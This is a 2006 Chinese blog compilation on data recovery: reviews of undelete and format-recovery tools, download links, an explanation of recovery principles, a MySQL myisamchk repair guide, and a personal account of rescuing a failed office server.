测试点评:

格式化恢复:有,可恢复所有文件

速度不错,但扫描结果可以以全部文件的方式显示,也可以以目录方式显示。扫描结果以文件类型方式分类,不支持原始目录结构恢复。

恢复后文件状态:正常

5 FinalData Enterprise 2.0

网络介绍:

在Windows环境下删除一个文件,只有目录信息从FAT或者MFT(NTFS)删除。这意味着文件数据仍然留在你的磁盘上。所以,从技术角度来讲,这个文件是可以恢复的。FinalData就是通过这个机制来恢复丢失的数据的,在清空回收站以后也不例外。另外,FinalData可以很容易地从格式化后的文件和被病毒破坏的文件恢复。甚至在极端的情况下,如果目录结构被部分破坏也可以恢复,只要数据仍然保存在硬盘上。

测试点评:

格式化恢复:有,可恢复所有文件

速度非常的慢,扫描结果以文件类型方式以及全部方式两种方式显示,不支持原始目录结构显示及恢复。有特色的是支持常见格式的图片和文本等文件的预览。

恢复后文件状态:正常

6 FinalRecovery 2.0.3.1

FinalRecovery 是一款强劲的反删除软件。它能以极快的速度扫描您的硬盘、软盘或可移动磁盘,并迅速找出已被删除的文件和文件夹;如果您同时删除了多层目录及其中的文件,您还可以用深度扫描模式尽可能挖掘出目录中每一个可能被恢复的文件和文件夹。专业用户能使用高级恢复功能,通过软件查看文件分配表和簇中的数据将文件恢复。当然您也可以通过查找功能搜索特定的文件或文件夹。

测试点评:

格式化恢复:有,可恢复所有文件

速度非常快,扫描结果以目录方式显示,支持原始目录结构恢复。比较有意思的是它会把所有目录都显示出来,即下级目录和上级目录都平行显示。但不要被这个搞晕了,如果恢复所有目录的话,只要选择最顶层的结果即可,它会完全恢复原始目录结构。

恢复后文件状态:正常

7 FormatRecovery

网络介绍:

一款数据恢复软件,能够恢复被删除或格式化的数据。

测试点评:

格式化恢复:有

不支持中文目录及文件名,中文目录下的文件没有一个能扫描到的,更不要说恢复了。本来对这个软件抱很高期望的,结果让人大跌眼镜。

恢复后文件状态:正常

8 Handy Recovery

网络介绍:

Handy Recovery 操作简便的档案救援功能,让你可以在档案原始储存的数据夹路径上,找回被删除的档案,并同时支持 FAT12/16/32 以及 NTFS/NTFS 5 五种不同的磁盘格式。

测试点评:

格式化恢复:有

扫描速度一般,扫描结果文件以格式归类显示,扫描结果格式化改名。不支持目录结构恢复。有一个查找分区的功能,可以找到被删除的分区。

恢复后文件状态:正常

9 R-Studio

网络介绍:

R-Studio 是功能超强的数据恢复、反删除工具,采用全新恢复技术,为使用 FAT12/16/32、NTFS、NTFS5(Windows 2000系统)和 Ext2FS(Linux系统)分区的磁盘提供完整数据维护解决方案!同时提供对本地和网络磁盘的支持,此外大量参数设置让高级用户获得最佳恢复效果。具体功能有:采用 Windows资源管理器操作界面;通过网络恢复远程数据(远程计算机可运行Win95/98/ME/NT/2000/XP、Linux、UNIX 系统);支持 FAT12/16/32、NTFS、NTFS5 和 Ext2FS文件系统;能够重建损毁的RAID阵列;为磁盘、分区、目录生成镜像文件;恢复删除分区上的文件、加密文件(NTFS 5)、数据流(NTFS、NTFS 5);恢复FDISK或其它磁盘工具删除过得数据、病毒破坏的数据、MBR 破坏后的数据;识别特定文件名;把数据保存到任何磁盘;浏览、编辑文件或磁盘内容等等。

测试点评:

格式化恢复:有

速度和效果都不错,而且有图形化显示目标分区的状况(类似于磁盘整理时的显示)。扫描结果按照可识别文件和未识别文件分类,可恢复完整目录结构。

恢复后文件状态:正常

10 RecoverMyFiles

网络介绍:

RecoverMyFiles下载介绍:Recover My Files可以恢复由于冒失删除的文档,甚至是磁盘格式化后的文件恢复工具,它可以自定义搜索的文件夹、文件类型,以提高搜索速度及准确性节约时间。在搜索过程中,提供了大量的信息,包括:文件名、文件/目录、尺寸、相关日期、状态、对一般性文档可直接预览等,让你更好地选择要恢复的文件。

测试点评:

格式化恢复:有

深度扫描速度比较慢,但扫描效果相当好。支持图片、声音、文本、HTML等文件的预览。以格式分类,不支持目录显示和恢复。

恢复后文件状态:正常

11 Search and Recover 3

网络介绍:

用来恢复误删除的文件和文件夹的工具,支持多种存储介质,包括磁盘、Zip Disks, USB flash drives, Compact Flash等等。

测试点评:

格式化恢复:有

深度扫描速度非常慢,但扫描效果还可以。支持图片
、声音的预览。无分类,所有文件统一显示,不支持目录恢复。特色功能是支持目录扫描,可以直接扫描某个目录内的文件。另外还可以按照时间、属性、大小等条件进行扫描。

恢复后文件状态:正常

12 易我数据恢复向导V2.0

网络介绍:

《易我数据恢复向导》是首款国内自主研发的数据恢复软件,是一款功能强大并且性价比非常高的数据恢复软件。本软件在WINDOWS操作系统下,提供FAT12/ FAT16/FAT32/VFAT/NTFS/NTFS5分区的数据恢复,支持IDE/ATA、SATA、SCSI、USB、IEEE1394种类的硬盘或闪盘、软盘、数码相机、数码摄像机和USB种类的存储盘。本软件具有删除恢复、格式化恢复、高级恢复等非常强大的功能,可以针对不同情况的数据丢失来进行数据恢复。本软件能非常有效的恢复删除或丢失的文件、恢复格式化的分区以及恢复分区异常导致丢失的文件。

测试点评:

格式化恢复:有

速度和效果都不错,支持目录结构恢复。

恢复后文件状态:正常

综合评比图:

总结:

对于一般的误删除,上面任何一个软件都可以胜任,轻松的恢复出数据。

对于数码用户,第二部分的软件就足够了,它们是专门针对图像、媒体数据进行恢复的。

对于格式化、分区、被病毒破坏等情况下,只有第三部分的软件才可以胜任。

后话:

这次帮朋友恢复数据的电脑,实际情况要糟一些。首先是分区表有问题,其次是从来没有整理过硬盘,碎片比较多,另外还有些莫名其妙的问题。所用的几个软件都没法恢复,包括一些老牌的恢复软件,如EasyRecovery、FinalData等。最后几乎失望准备靠手工恢复时,没想到FinalRecovery竟然扫描到部分数据,而且能够恢复出来,这个软件以前并不怎么被大家看好,真是奇怪~~~最后又用了几个软件总算分批找到了所需要的大部分数据,万幸万幸啊!虽然恢复后小部分Word文档和图片无法打开,但总的来说这次恢复工作还是比较成功的,可惜是没捞到一点好处,唉~~~

在什么情况下能够进行数据恢复?

0

分类 : 技术文摘 | 发表时间 24-08-2006

  网络上到处充斥着询问有关数据丢失的问题。他们遇到的问题五花八门,有些时候是数据被意外删除,有些时候数据是被病毒侵蚀而丢失,有些时候是硬盘本身出现了问题。无论数据丢失是由于什么原因造成的,这些遇到问题的人都存在同样的问题,那就是他们都不是IT专业人员,而且从来都不对他们的数据进行备份。 数据丢失时该如何处理,在什么情况下能够进行数据恢复,在什么情况数据恢复不能够进行,以及数据恢复的原理等几个方面?

  尽管数据恢复是个非常复杂的过程,然而其所依据的原理却非常简单。数据恢复之所以能够成为可能,是因为文件和与这个文件有关的信息是两种截然不同的东西,而且分别存储于两个不同的地方。Windows操作系统使用“文件分配表(file allocation table)”来确定哪些文件位于硬盘中以及这些文件具体是存储在哪里。

  如果我们需要将硬盘驱动器上的文件系统的工作方式做个类比的话,那么将其比喻作一本书无疑是最恰当的。文件分配表就好比是一本书的目录部分。那些真正硬盘驱动器上存储的文件就好比是这本书正文中的每一页。

  为了能够更清楚地说明数据恢复过程是如何工作的,我们需要做些更为深入的类比。比如说,你想在厨房里安装一个新的水池,于是你买了一本有关家庭装修方面的书。你把书打开,并在目录中找到了介绍水池安装方法的具体章节是在这本书的第40页。如果你把书的目录部分撕下来,并撕成了碎片,那么你是不是就丢失了有关安装水池的方法的信息呢?当然没有,安装水池的方法仍然还在这本书中,只是由于你已经没有了目录,所以要找到这个方法会困难一些。

  数据恢复的工作方式与上述的方式非常相似。通常情况下,当某些数据需要进行恢复的时候,是由于其文件分配表出现了混乱。需要恢复的文件仍然存储在你的硬盘驱动器里,而且保存完好。如果这个文件仍然存砸,而且没有损坏也没有被加密,那么这个文件就是可以恢复的。需要你来做的就是找到这个文件。

  从另一个方面说,如果文件本身已经损坏或者丢失或者被加密了,那么使用一般的方法可能就不会有效了。然而这并不是说数据恢复是不可能的,而是说需要通过非常规的方法来进行数据恢复。因为你没有办法像魔法师一样把本来就不存在的东西变出来。

  如果文件在物理上已经被损坏,而且你没有这个文件的备份,那么你唯一的希望就是对这个文件进行重构了(reconstruct)。许多应用程序(比如Microsoft Office)都会在文件的开头部分写入统一的标题(uniform header),以便指定该文件是属于那种应用程序可以调用的文件。有些工具软件可以用来手动方式来重构文件的标题,所以我们至少可以用它来恢复文件的某些部分。

  在多数情况下,数据丢失并不是由于数据本身出了问题,而是由于文件分配表出现了问题。在你删除文件的时候所做的操作就是这种情况的一个例子。当你删除一个文件的时候,通常这个文件会被移动到回收站中。当你从回收站中把这个文件删除,或者是你从来都不使用回收站而是把文件直接删除,那么这些文件仍然没有被删除。

  事实上,操作系统只是在文件分配表中把这个文件的文件名的第一个字母修改为“sigma(西格玛)”标记(在过去的文件系统中使用的是问号)。操作系统还会在文件分配表中把“0”写入到簇链入口处,这样就可以把这个文件从前所使用的磁盘空间显示为现在仍然可用。当文件以这种方式被删除,这个文件本身仍然存在,除非另一个文件覆盖了硬盘驱动器上的这个区域,而这个区域恰好是这个被删除的文件从前所存储的区域。

  上面已经解释了删除的过程究竟是如何进行的,其实在对硬盘驱动器进行格式化或者文件分配表损坏的情况下我们仍然可以应用相似的概念来理解问题。在多数情况下,文件仍然是存在的,它们只是从文件分配表中被移除(或者是被改成了一些Windows默认为不显示的文件名)。

摘自:it专家网

EasyRecovery恢复数据之移动硬盘篇

0

分类 : 技术文摘 | 发表时间 19-08-2006

问:我的移动硬盘正在传东西,然后我退出D盘想进移动硬盘是突然显示需格式化 之前一直很正常 前几秒还在工作 有办法恢复么?我都急死了 移动硬盘里有重要数据 希望各位高手能尽快解答 真的是很着急啊 30G的资料呢

答:可以恢复,利用软件,可以找回来..但是就算找回来也会丢一些问题~或者有些文件不可用!!!
下面提供的easy recover 版本可以设置自定义过滤式恢复,如果你想恢复部分文件,就可以使用这种模式;如果要完全恢复文件夹、甚至分区,那么就要看清界面的选项再操作。
你可能不小心只选择了其中一个文件。
硬盘用第1,2两个软件试试,u盘用第3个恢复,其他数码设备的闪存盘可以用第4个
===========================
一、EasyRecovery Pro v6.10 汉化版
软件大小:34.36 MB
软件语言:简体中文
软件类别:汉化软件 / 数据恢复
授权方式:商业版
运行环境:Win2003, WinXp, Win2000, Nt, WinMe, Win9x
更新时间:2005-7-25 0:41:14
软件添加:林逸凡
软件评级:5*
开 发 商:http://www.ontrack.com/
界面:http://www.crsky.com/Viewimg.asp?p=http://img.skycn.com/softimg/2070.gif
浏览:http://www.crsky.com/soft/899.html
下载
EasyRecovery Pro v6.10.07 零售版
http://www.crsky.com/Download.asp?ID=6359
EasyRecovery Pro v6.10.07 汉化补丁
http://www.crsky.com/Download.asp?ID=19626
—————————
该软件可以恢复大于 8.4GB 的硬盘。
你的目的可能只是要找几个误删的文件,可软件却列出了成百上千个以前删除了的文件,要找到自己真正需要的文件确实十分麻烦。这里就要使用EasyRecovery独有的文件格式过滤器功能了,在扫描时在过滤器上填好要找文件的扩展名,如“*.doc”,那么软件就只会显示找到的DOC文件了;如果只是要找一个文件,你甚至只需要在过滤器上填好文件名和扩展名(如important.doc),

看看人家怎么说的吧(当然不能保100证%):
1、今天在单位用shift+del误删除了9个MPEG文件,从来没有用过修复的本人第一次修复文件并且用了这个软件,结果是9个文件都修复成功,又可2、以看了,那可是相当重要的视频文件啊,要是真没了,我要急死了~~~~~~~
这可是个好东西,但最好用英文原版(英文不佳可配合金山词霸2005用)。扫描全面细致,但也费时间。唯一可与之媲美的就是FinalData 企业版。特点是小巧快捷,两者配合用,最好不过了。

http://www.crsky.com/comment_down.asp?id=899
成功的很多
====================================
二、EasyRecovery Pro v6.10.07 精简版
因程序有自校验,制作引导盘的功能无法汉化。
使用时请在16位色以上的系统中运行。不支持16色及256色
浏览http://www.crsky.com/soft/6155.html
下载
http://down.crsky.com/EasyRecovery_6.10.07H.rar

软件简介:镜像虚拟主机,域名 免费个人主页申请 Excel服务器学习和下载
一款威力非常强大的硬盘数据恢复工具。能够帮你恢复丢失的数据以及重建文件系统。EasyRecovery 不会向你的原始驱动器写入任何东东,它主要是在内存中重建文件分区表使数据能够安全地传输到其他驱动器中。你可以从被病毒破坏或是已经格式化的硬盘中恢复数据。该软件可以恢复大于 8.4GB 的硬盘。支持长文件名。 被破坏的硬盘中像丢失的引导记录、BIOS 参数数据块;分区表;FAT 表;引导区都可以由它来进行恢复。

==============================================
三、万能的修理U盘软件(usbboot) v1.67 免费版
类型: 绿色软件/免费软件
语言: 简体中文
运行环境: Win9X/WinME/NT/Win2000/WinXP/
大小: 588 KB
软件等级: 5星
界面:
http://www.orsoon.com/Software/Catalog200/2473.html
http://www.orsoon.com/upimages/2005-7/200571426126157.jpg
http://www.orsoon.com/upimages/2005-7/200571426137423.jpg
说明一下,这个软件本来是用来制作WIN98的启动盘的,也就是将U盘直接制作成WIN98的启动盘,但可能作者自己都没有想到,哈哈,修理U盘的功能才是这个软件的价值所在。真是万能的修理U盘软件啊,即使要花钱购买也是值得的,但居然还在免费,真是不可思议。
下载:http://www.orsoon.com/down.asp?id=2541&downid=2
===============================
四、Digital ObjectRescue Pro v3.5
软件大小:2.05 MB
软件语言:简体中文
软件类别:汉化软件 / 数据恢复
授权方式:特别版
运行环境:Win2003, WinXp, Win2000, Nt, WinMe, Win9x
更新时间:2006-1-14 7:56:00
开 发 商:http://www.objectrescue.com
下载http://www.crsky.com/soft/3468.html

能够将你的数字视频数据、音频数据、MP3和WMA数据进行恢复的工具,包括硬盘数据、闪存卡、MP3、WMA、PDAs、手机、MMCs卡、SD卡等里的数据。并能储存和添加其他文件格式包括:DOC, XLS, ZIP,AR,JPEG, AVI, MOV,MP3, WMA, WAV等。
====================
如果用快车、影音传送带等软件多线程下载,有时候可能需要在弹出的下载界面引用栏:
填写该浏览页地址才能下载,线程数建议不要高于8,有时候小软件下不动的话,建议改称单线程下,也就是有些下载界面所说的块数:默认一般为2。

================================

这里都是超强的绿色汉化板恢复工具!!!51CT这个好网站上的,前面几个都是五星级评价,而且下载页面上还有软件界面截图,能够恢复格式化后的数据哦!!!

这些够你用了吧,基本按等级和下载次数,以及网友下载后的跟帖反馈排序提供给你 ^_^* 希望你能够心想事成!!新年有个好心情,呵呵

前面几个软件都有很强的格式化数据搜索功能,看看介绍吧.

1.R-Studio 3.0 Build 123017 汉化绿色版(超强反删除恢复工具)http://www.51ct.cn/downinfo/799.html
2.Recover My Files(强大数据恢复工具) v3.84 绿色汉化特别版http://www.51ct.cn/downinfo/304.html
3.Unstoppable Copier(强大的数据修复工具 50K) v2.1 汉化绿色版http://www.51ct.cn/downinfo/1030.html
4.Smart Undelete(删除文件恢复工具) v2.5 绿色汉化特别版http://www.51ct.cn/downinfo/305.html
5.Recover4all Pro(100%恢复已删除文件) v2.25 绿色汉化特别版http://www.fishone.cn/dzsk.asp?did=30
(本汉化版修正了某些版本无法恢复文件夹的缺陷——有个2.26版本,有反馈说格式化的只能部分恢复,其余部分需要附加码,可能升级破解出现了问题,要注意)
6.FinalData OEM 2.0简体中文版(最好的硬盘数据恢复工具)http://www.51ct.cn/downinfo/640.html
7.O&O UnErase v2.0.945 汉化版(让恢复被删除的数据变得易如反掌)http://www.51ct.cn/downinfo/630.html

恢复系统分区一定要注意,由于上述软件一般只支持windows系列界面,所以如果系统盘比如c盘的windows一起丢失了,有条件的话最好用另一个带系统的硬盘来引导这类恢复软
件,要好在过同一硬盘的另外分区重装系统来引导软件,避免分区数据冲突影响原有数据

恢复前,只要旧数据没有被你用新数据覆盖完,恢复其余部分应该完全没问题,搜索残余信息功能很强哦。不用你都不知道为什么安全部门都需要用麦咖啡一类的焚烧软件来实现彻底删除。建议用完压缩一下,被恶意的黑客找到就。。。。嘿嘿,理论上,对专业的公司来说,多次覆盖删除、甚至物理毁坏都不能彻底毁掉信息


如果想恢复极为“重要!!”的数据,自己恢复不放心,周围有专业的朋友帮忙免费恢复当然好,如果没有最好就求助专业的公司,当然收费恐怕是几百甚至上千元了;如果有坏道,你原来的硬盘商家宁愿给你换,更不要指望他们恢复,换之前自己要试一下。

如果自己做,看看这个文章很有帮助——
========================================================
《数据恢复软件,你如何选择?》——各软件测评(不能不看哦!!!)
http://www.huifu999.org/2004/10-18/18251996667.html
摘录1:
测试结果表明,并没有一款软件在主要的数据恢复工作中占据绝对的优势,但综合以上测试结果,EasyRecovery还是占了不少上风,而且其附带的工具非常具有实用性。我们可从测试结果中看到,当你用一款数据恢复软件恢复数据失败时,不见得就完全没有机会了,试试另外的数据恢复软件也许问题会迎刃而解。

测试中所有的被测软件都暴露了或多或少的问题:EasyRecovery扫描不了格式化以后的NTFS分区,无论是快速格式化还是完全格式化;FinalData和RecoverNT对重分区后的丢失数据基本无能为力;Recover4all完全扫描FAT32分区的时间长得让人痛苦;RecoverNT恢复的数据文件一律被改名;而File Recovery另类的搜索方式导致无法恢复数据文件的正确属性,而且还是测试中唯一频频死锁的软件。由上述问题我们可以得出这样的结论:在进行数据恢复工作时,单一的数据恢复软件显然不够,使用2到3款软件进行互补是非常必要的。从本次测试的结果看,EasyRecovery和FinalData搭配使用可以完成全部的测试项目,而且也可获得最好的恢复效果,应该说是首选。而RecoverNT的表现也不错,主要缺点是其对文件目录名和目录结构的支持太差,另外RecoverNT带有完善的网络数据恢复功能,对于网吧等工作区域的电脑工作者还是非常
有实际意义的,因此EasyRecovery加RecoverNT也是不错的选择。至于Recover4all有着非常明显的缺陷——对FAT32分区的扫描搜索时间太长,而且也并没有恢复更多的数据以表明等待是值得的。File Recovery明显还不成熟,从其恢复数据时较差的稳定性就可以看出,免费毕竟是有原因的。其扫描搜索方式确实与众不同,所以扫描数据的能力非常强,但恢复的数据能不能用就要看运气了,如果能在恢复数据的能力、程序的稳定性、扫描的能力上作进一步修改增强,假以时日还是很有潜力的。当然作为一款免费软件,笔者仍推荐大家下载一份到自己的硬盘上以备不时之需。

摘录2:
如果遇到因误操作、病毒等因素而导致数据丢失的情况,最重要的就是注意“保护好现场”,不要往丢失数据所在的分区执行任何写操作,然后再进行数据恢复工作;如果是操作系统主分区上丢失数据,那么最好关机将硬盘取下挂到另一台机器上进行数据恢复工作,以防止操作系统运行时向主分区写入文件,导致数据恢复失败。通常来说,只要硬盘没有出现硬故障,使用数据恢复软件来恢复数据有不小的机会,如果是硬盘出现毁灭性的硬故障,就只有使用专门的硬盘读写设备了,甚至可找专业人员将故障硬盘开盖,但如此一来成本就很高昂了。

极端的例子,专业公司一般甚至能在删除工具East-Tec Eraser 2002(数据删除助手)的4级删除以内还能找出部分数据。

摘录3:

数据恢复的技巧

1.不必完全扫描

如果你仅想找到不小心误删除的文件,无论使用哪种数据恢复软件,也不管它是否具有类似EasyRecovery快速扫描的方式,其实都没必要对删除文件的硬盘分区进行完全的簇扫描。因为文件被删除时,操作系统仅在目录结构中给该文件标上删除标识,任何数据恢复软件都会在扫描前先读取目录结构信息,并根据其中的删除标志顺利找到刚被删除的文件。所以,你完全可在数据恢复软件读完分区的目录结构信息后就手动中断簇扫描的过程,软件一样会把被删除文件的信息正确列出,如此可节省大量的扫描时间,快速找到被误删除的文件数据。

2.尽可能采取NTFS格式分区

NTFS分区的MFT以文件形式存储在硬盘上,这也是EasyRecovery和Recover4all即使使用完全扫描方式对NTFS分区扫描也那么快速的原因——实际上它们在读取NTFS的MFT后并没有真正进行簇扫描,只是根据MFT信息列出了分区上的文件信息,非常取巧,从而在NTFS分区的扫描速度上压倒了老老实实逐个簇扫描的其他软件。不过对于NTFS分区的文件恢复成功率各款软件几乎是一样的,事实证明这种取巧的办法确实有效,也证明了NTFS分区系统的文件安全性确实比FAT分区要高得多,这也就是NTFS分区数据恢复在各项测试成绩中最好的原因,只要能读取到MFT信息,就几乎能100%恢复文件数据。

3.巧妙设置扫描的簇范围

设置扫描簇的范围是一个有效加快扫描速度的方法。像EasyRecovery的高级自定义扫描方式、FinalData和File Recovery的默认扫描方式都可以让你设置扫描的簇范围以缩短扫描时间。当然要判断目的文件在硬盘上的位置需要一些技巧,这里提供一个简单的方法,使用操作系统自带的硬盘碎片整理程序中的碎片分析程序(千万小心不要碎片整理啊,只是用它的碎片分析功能),在分区分析完后程序会将硬盘的未使用空间用图形方式清楚地表示出来,那么根据图形的比例估计这些未使用空间的大致簇范围,搜索时设置只搜索这些空白的簇范围就好了,对于大的分区,这确实能节省不少扫描时间。

4.使用文件格式过滤器

以前没用过数据恢复软件的朋友在第一次使用时可能会被软件的能力吓一跳,你的目的可能只是要找几个误删的文件,可软件却列出了成百上千个以前删除了的文件,要找到自己真正需要的文件确实十分麻烦。这里就要使用EasyRecovery独有的文件格式过滤器功能了,在扫描时在过滤器上填好要找文件的扩展名,如“*.doc”,那么软件就只会显示找到的DOC文件了;如果只是要找一个文件,你甚至只需要在过滤器上填好文件名和扩展名(如important.doc),软件自然会找到你需要的这个文件,很是快捷方便。

====================================
尤其是后面的4条建议很有帮助!!!!
《数据恢复全解析》 (很全面很专业的文章,自己恢复数据最好看一下)
http://www.shannon-dd.com/index.php?option=com_content&task=view&id=146&Itemid=96

MySql数据库中表的修复

1

分类 : 技术文摘 | 发表时间 19-08-2006

今天早上发现因为磁盘满造成了Mysql服务没法正常运行,首先腾硬盘空间,再停止mysqld服务,还用了下kill杀掉了mysqld进程,后来发现数据库虽然启动了,但是数据表损坏了,google搜索了下,用myisamchk修复了下数据表文件,成功。特录下文。

检查和修复MySQL数据文件

由于临时断电,使用kill -9中止MySQL服务进程,或者是Jessica的朋友idiot@%.host.net又犯了一个错误,所有的这些都可能会毁坏MySQL的数据文件。如果在被干扰时,服务正在改变文件,文件可能会留下错误的或不一致的状态。因为这样的毁坏有时是不容易被发现的,当你发现这个错误时可能是很久以后的事了。于是,当你发现这个问题时,也许所有的备份都有同样的错误。

MySQL参考手册的第十五章讲述了MySQL自带的myisamchk的功能,以及如何使用它检查和修复你的MySQL数据文件。虽然这一章对于每个想要搭建一个强壮的MySQL服务的人都是推荐阅读的,我们还是有必要在这里对其中的要点进行讨论。

在我们继续之前,你必须意识到myisamchk程序对用来检查和修改的MySQL数据文件的访问应该是唯一的。如果MySQL服务正在使用某一文件,并对myisamchk正在检查的文件进行修改,myisamchk会误以为发生了错误,并会试图进行修复–这将导致MySQL服务的崩溃!这样,要避免这种情况的发生,通常我们需要在工作时关闭MySQL服务。作为选择,你也可以暂时关闭服务以制作一个文件的拷贝,然后在这个拷贝上工作。当你做完了以后,重新关闭服务并使用新的文件取代原来的文件(也许你还需要使用期间的变更日志)。

MySQL数据目录不是太难理解的。每一个数据库对应一个子目录,每个子目录中包含了对应于这个数据库中的数据表的文件。每一个数据表对应三个文件,它们和表名相同,但是具有不同的扩展名。tblName.frm文件是表的定义,它保存了表中包含的数据列的内容和类型。tblName.MYD文件包含了表中的数据。tblName.MYI文件包含了表的索引(例如,它可能包含lookup表以帮助提高对表的主键列的查询)。

要检查一个表的错误,只需要运行myisamchk(在MySQL的bin目录下)并提供文件的位置和表名,或者是表的索引文件名:

% myisamchk /usr/local/mysql/var/dbName/tblName
% myisamchk /usr/local/mysql/var/dbName/tblName.MYI

上面的两个命令都可以执行对指定表的检查。要检查数据库中所有的表,可以使用通配符:

% myisamchk /usr/local/mysql/var/dbName/*.MYI

要检查所有数据库中的所有表,可以使用两个通配符:

% myisamchk /usr/local/mysql/var/*/*.MYI

如果不带任何选项,myisamchk将对表文件执行普通的检查。如果你对一个表有怀疑,但是普通的检查不能发现任何错误,你可以执行更彻底的检查(但是也更慢!),这需要使用–extend-check选项:

% myisamchk –extend-check /path/to/tblName

对错误的检查是没有破坏性的,这意味着你不必担心执行对你的数据文件的检查会使已经存在的问题变得更糟。另一方面,修复选项,虽然通常也是安全的,但是它对你的数据文件的更改是无法撤消的。因为这个原因,我们强烈推荐你试图修复一个被破坏的表文件时首先做个备份,并确保在制作这个备份之前你的MySQL服务是关闭的。

当你试图修复一个被破坏的表的问题时,有三种修复类型。如果你得到一个错误信息指出一个临时文件不能建立,删除信息所指出的文件并再试一次–这通常是上一次修复操作遗留下来的。

这三种修复方法如下所示:

% myisamchk –recover –quick /path/to/tblName
% myisamchk –recover /path/to/tblName
% myisamchk –safe-recover /path/to/tblName

第一种是最快的,用来修复最普通的问题;而最后一种是最慢的,用来修复一些其它方法所不能修复的问题。

检查和修复MySQL数据文件

如果上面的方法无法修复一个被损坏的表,在你放弃之前,你还可以试试下面这两个技巧:

如果你怀疑表的索引文件(*.MYI)发生了不可修复的错误,甚至是丢失了这个文件,你可以使用数据文件(*.MYD)和数据格式文件(*.frm)重新生成它。首先制作一个数据文件(tblName.MYD)的拷贝。重启你的MySQL服务并连接到这个服务上,使用下面的命令删除表的内容:

mysql> DELETE FROM tblName;

在删除表的内容的同时,会建立一个新的索引文件。退出登录并重新关闭服务,然后用你刚才保存的数据文件(tblName.MYD)覆盖新的(空)数据文件。最后,使用myisamchk执行标准的修复(上面的第二种方法),根据表的数据的内容和表的格式文件重新生成索引数据。

如果你的表的格式文件(tblName.frm)丢失了或者是发生了不可修复的错误,但是你清楚如何使用相应的CREATE TABLE语句来重新生成这张表,你可以重新生成一个新的.frm文件并和你的数据文件和索引文件(如果索引文件有问题,使用上面的方法重建一个新的)一起使用。首先制作一个数据和索引文件的拷贝,然后删除原来的文件(删除数据目录下有关这个表的所有记录)。

启动MySQL服务并使用当初的CREATE TABLE文件建立一个新的表。新的.frm文件应该可以正常工作了,但是最好你还是执行一下标准的修复(上面的第二种方法)。

记一次危险的数据恢复经历

1

分类 : 网络日志 | 发表时间 19-08-2006

这已经是昨天的事了,昨天晚上熬夜得太晚,来不及记录,现在整理一下思路,补上。

昨天上午10点的时候,一个网管告诉我,手边没有xp的安装盘了,让我再刻录一张;iso镜像全部都在服务器上,这个服务现在兼着上网代理、OA以及存储一些大型软件的重任;dvd的刻录机在我电脑上装着,所以我就到服务器上去把那个蕃茄花园的xp镜像拷贝回来,蕃茄花园的安装盘有时候觉得还不错,有时候却是很让你头疼;上次一位同事用我下的2003蕃茄花园server版安装后,用了一段时间,总是出现“要求激活”,好不容易才搞定,但也奇怪,同样的盘,我安装到现在,也没问题。好在要的这张xp安装盘一直没出现什么问题,并且安装以后界面、启动关闭音乐都非常精美,很多同事都想用。

正在拷贝的时候,突然出现“源文件拷贝失败”,很奇怪;接着我就刷新了一下网页,网页一片空白,断线了?网通的adsl限制太多,总是出现“用户过多,用户限制”的提示而断线。事实上不是掉线,马上网管就过来告诉我,服务器蓝屏了!!我吃了一惊,这个服务器从买来到现在,一年不间断运行,还从来没有蓝屏过呢。我就随口给他说,那就重启吧!但马上想想又不妥,紧跟着也跑到机房,要阻止他,别让他这么快就“reset”重启,但已经晚了,网管已经按住“reset”,电脑已经“嘀”的一声重启了,而我却心揪到一块了,因为这样的服务器系统,上面安装的有数据库系统–mysql,是很容易由于突然关机而出现数据错误的,(二年前碰到过一次,那次是一个网管看服务器启动太慢,就reset了一次,让服务器重新启动,我立马制止,但也晚了,结果造成公司oa系统公告数据全部被破坏,没有办法,我把公告数据表重建才完事,但以前的公告数据已经无法回来了)。

电脑重启以后,检索硬盘正常,启动到准备启动系统时(平时时候,这时该出2003的启动画面了),电脑突然又蓝屏了一下,又重启了;但这次重启以后,就出现“找不到启动媒介”,唉,找不到硬盘了;比我所担心的问题还要严重。

立马关机,然后把机箱盖打开,伸手指轻轻很快的滑过cpu风扇的散热片,发现有“热”感,轻轻很快的滑过,有热感的话,说明已经温度很好了,再找了一个点,把手指按上去,感觉烫手;完了,cpu散热不好,蓝屏死机;而又坏在还没来得及让硬盘有空闲的时候,已经又重启,错上加错,问题更严重了。

立马把我的电脑iis建立起来,ip设置为oa服务器ip,很快的用word建立了一个公告页面,通知公司其他部门,服务器以及oa系统出现意外损坏;另一方面,很快的把服务器从柜子里面提出来,平放在地上,用吹风机散热了一会,就把cpu风扇卸了下来,用手指头碰了一下扇叶,已经有“滞”感,这说明风扇已经老化得很严重了,或者说风扇的转轴已经干了,转不动了;问网管有没有P4的风扇,网管看了一下储物柜,说没有,但他很快说,先找科技市场熟人拿一个,过后再找公司报销(公司不大,手续很麻烦的),和行政部门打了个招呼,他很快就去科技市场了。我接着又看了一下显卡风扇,也不转了,我把显卡拆下来,然后把风扇和显卡板拆开,把风扇转轴上面的封面揭开,发现里面已经很干了,用手碰风扇的时候,一点都不转;唉,这服务器,简直连平常的电脑都不如了。到公司食堂搞了一点食物油,滴了一些在显卡转轴里面,转了一会,嘿,转得还挺灵活呢。公司对支出把得非常紧,包括对服务器以及网络线路方面也是如此,所以搞得网管们很被动,就像这,服务器一量哪出了毛病,事先没法做到“防患于未然”,就到了这不好收拾的局面。
风扇很快就拿过来了,换上风扇以后,再重新启动,已经可以清晰的看到,启动无法找到硬盘了,但好就好在,bios里面可以检测到硬盘,这说明,硬盘电路没出毛病,只是主引导刻录、分区表、启动分区这些方面有问题;

先到其他部门调来了一台电脑,要求硬盘和服务器的硬盘是一样大的;我打算先做一个硬盘对拷,然后再对其中一个硬盘操作;但在硬盘对拷贝的过程中,ghost已经检测到D区出现致使性问题,无法拷贝下去了;而这D区,就是OA数据库和附件所在区,这要命的问题。!!

干脆胆大些下手吧;尽管心里对数据恢复有忐忑不安的感觉,但还是要全力试试;利用工具盘启动,试了很多工具软件,提示找不到硬盘,包括diskgen等;本来想在dos下面查恢复分区的,看来是没有希望了;找了另外一台2003server系统,把坏硬盘挂接上去,启动时,没有检查磁盘问题,启动完成以后,我的电脑内没有多余盘符产生,查磁盘管理,没有未经分配的盘区存在。问题还真大了?

